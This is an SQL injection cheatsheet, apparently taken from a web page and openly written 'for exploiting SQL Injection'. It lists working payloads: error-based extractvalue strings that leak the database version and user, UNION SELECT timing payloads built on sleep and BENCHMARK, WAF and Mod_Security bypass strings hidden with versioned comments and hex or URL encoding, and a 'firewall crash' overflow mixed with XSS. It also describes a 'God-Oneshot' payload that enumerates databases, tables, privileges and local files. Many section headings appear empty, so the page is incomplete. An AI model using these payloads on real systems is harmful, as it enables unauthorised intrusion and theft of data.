📀SQL Injection Cheatsheet

Below you will find my cheatsheet for exploiting SQL Injection:

----------------------------------------------------------------

SQL injection

Payloads SQL injection login bypass

Payloads SQL injection

Detect a SQL error

Detect the number of vulnerable columns

Union Select Payloads

Union Select + sleep() + BENCHMARK(1000000,MD5('A')) Payloads

techniques to bypass SQL injection

bypass using comments

bypass using comments + url encoding

Information_schema.tables

Order by

Concat

group_concat

Union Select

HTML URL Encode (URL encoding)

SQL payloads

SQL injections using SQL functions

SQL injection payload using RPAD function and SOUNDS LIKE

SELECT RPAD(table_name,50,'.') from information_schema.tables where table_schema sounds like database()

SQL injection payload using upper + reverse + right + sounds like to extract information

select upper(reverse(right(reverse(table_name),100)))from information_schema.tables where table_schema sounds like database()

SQL injection using the double Reverse, hex, and unhex

Select unhex(hex(reverse(reverse(elt(1, table_Name))))) from information_schema.tables

SQL injection case

SQL injection case and sounds like

SQL IF Function

SQL IF NULL

SQL NULL IF

SQL injection payload using upper + reverse + right + sounds like

select upper(reverse(right(reverse(table_name),100)))from information_schema.tables where table_schema sounds like database()

SQL injection using double reverse + right + if statement + HTML injection

SELECT reverse(reverse(right(if(1=1,table_name,'<h3><font color=blue> Tablas:</h3>'),100))) from information_schema.tables

SQL injection using HEX-UNHEX functions

SELECT UNHEX(HEX(table_name))from information_schema.tables

SQL injection type error based using Extract value

1%20and+extractvalue(rand(),concat(0x7e,version(),0x7e,user()))--

SQL injection payload using reverse

reverse(right(reverse(data),1))

SQL injection payload using extractvalue

extractvalue(rand(),concat(CHAR(126),database(),CHAR(126)))

SQL injection payload + url encode + timing

-7 %23%0AAND 0--%0A /*!12345UNION*/ /*!12345ALL*/ (/*!12345SELECT*/ 1,sleep(5),'soy vulnerable',BENCHMARK(1000000,MD5('true')),5,6,7,8,9,10,11,12,13)

JSON Generation Functions

Mixtures

SQL injection + sql god

SQL injection Buffer Overflow / Firewall Crash bypass + xss injection

+and+(select%201)=(Select%200xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa....)+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4,....+--+

SQL injection payload+ bypass Mod_Security

Sql injection payload + god + Mod_Security bypass

Sql injection payload + comment + hex/unhex

/*!50000select*/unhex(hex(/*!12345concat*/(0x223e,version(),0x223e,database())))

SQL databases and tables

SQL injection payload + URL encode

+/*!12120%55%6e%49%6f%4e*/+(%53%65%4c%65%43%74+111,222,333,database(),555,...)+--+

MSSQL

Xpath injection

Error based

Ai test waf bypass

Personal

God-Oneshot staff

V1 features:

  • Database version

  • hostname Privileges

  • Account and enumeration of all databases

  • Count and enumeration of all tables in the current database with their

  • respective columns

V1.5 features:

  • Database version

  • hostname

  • Privileges

  • Account and enumeration of all databases

  • Count and enumeration of all tables in the current database with their

  • respective columns

  • The IFNULL function was implemented to go to the local fire read if you have the permissions

V1.5 adapted to bypass some waf, has:

  • Database version

  • hostname

  • Privileges

  • Account and enumeration of all databases

  • Count and enumeration of all tables in the current database with their

  • respective columns

  • The IFNULL function was implemented to go to the local fire read if you have the permissions

Used encodings:

  • Hexadecimal

  • Binary

  • SQL Comments

  • URL Uppercase and lowercase

Last updated